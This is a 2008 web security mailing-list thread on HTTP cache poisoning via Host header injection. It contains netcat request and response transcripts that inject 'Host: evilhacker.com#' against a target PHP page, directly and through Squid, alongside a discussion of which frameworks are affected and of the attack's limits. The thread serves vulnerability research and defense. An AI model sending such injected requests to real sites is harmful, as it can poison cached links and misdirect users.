[WEB SECURITY] HTTP cache poisoning via Host header injection

Michael S. Menefee mmenefee at securesolve.com
Thu Jun 12 17:27:30 EDT 2008


I've tried this attack both directly and through a proxy. 

Squid in non-transparent mode returns the original Host header info back
to the browser even after resetting the cache, and I was unable to even
perform the attack in my local browser, ....directly (not through Squid)
this seems to work, although I have performed very non-exhaustive
testing...

Here's the output going directly with a target PHP page that echoes the
$_SERVER['HTTP_HOST'] variable

nc www.target.com 80
GET /urltest.php HTTP/1.1
User-Agent: Mozilla
Host: evilhacker.com#

HTTP/1.1 200 OK
Date: Thu, 12 Jun 2008 19:42:23 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Content-Length: 41
Connection: close
Content-Type: text/html; charset=UTF-8
http://evilhacker.com#/urltest.php

And here's through Squid

nc localhost 8080
GET http://www.target.com/urltest.php HTTP/1.1
User-Agent: Mozilla
Host: evilhacker.com#

HTTP/1.0 200 OK
Date: Thu, 12 Jun 2008 21:16:29 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Content-Length: 46
Content-Type: text/html; charset=UTF-8
X-Cache: MISS from webfilter
X-Cache-Lookup: MISS from webfilter:3128
Via: 1.0 webfilter:3128 (squid/2.6.STABLE17)
Proxy-Connection: close

http://www.target.com/urltest.php




-----Original Message-----
From: Amit Klein [mailto:aksecurity at gmail.com] 
Sent: Thursday, June 12, 2008 4:37 PM
To: Carlos
Cc: websecurity at webappsec.org
Subject: Re: [WEB SECURITY] HTTP cache poisoning via Host header
injection

Carlos wrote:
> I've confirmed this in default installations of a few web frameworks 
> including Rails, Zope and WordPress.
>
> The basic vulnerability comes when:
>
> 1) Your web server does not validate the Host header
> 2) Your code or your framework uses the Host header value to build 
> links
> 3) You employ page or fragment caching
>   

While I do agree this is a security problem, I would like to point out
that:

1. Most platforms I know don't send out caching directives for
dynamically generated pages. Of course, this can be overridden, and
there are probably platforms that allow caching by default, but still...

2. More importantly, a caching HTTP entity will probably cache the page
as http://evilsite.com/foo/bar.html (after all, from the cache server's
perspective, the target host is evilsite.com), thus taking the sting out
of the "cache poisoning" vector. In fact, with forward (and some
transparent) proxy servers, the request will never arrive to
www.example.com - the proxy server will send it to evilsite.com instead.

Thanks,
-Amit

------------------------------------------------------------------------
----
Join us on IRC: irc.freenode.net #webappsec

Have a question? Search The Web Security Mailing List Archives: 
http://www.webappsec.org/lists/websecurity/

Subscribe via RSS: 
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]

Join WASC on LinkedIn
http://www.linkedin.com/e/gis/83336/4B20E4374DBA



----------------------------------------------------------------------------
Join us on IRC: irc.freenode.net #webappsec

Have a question? Search The Web Security Mailing List Archives: 
http://www.webappsec.org/lists/websecurity/

Subscribe via RSS: 
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]

Join WASC on LinkedIn
http://www.linkedin.com/e/gis/83336/4B20E4374DBA



More information about the websecurity mailing list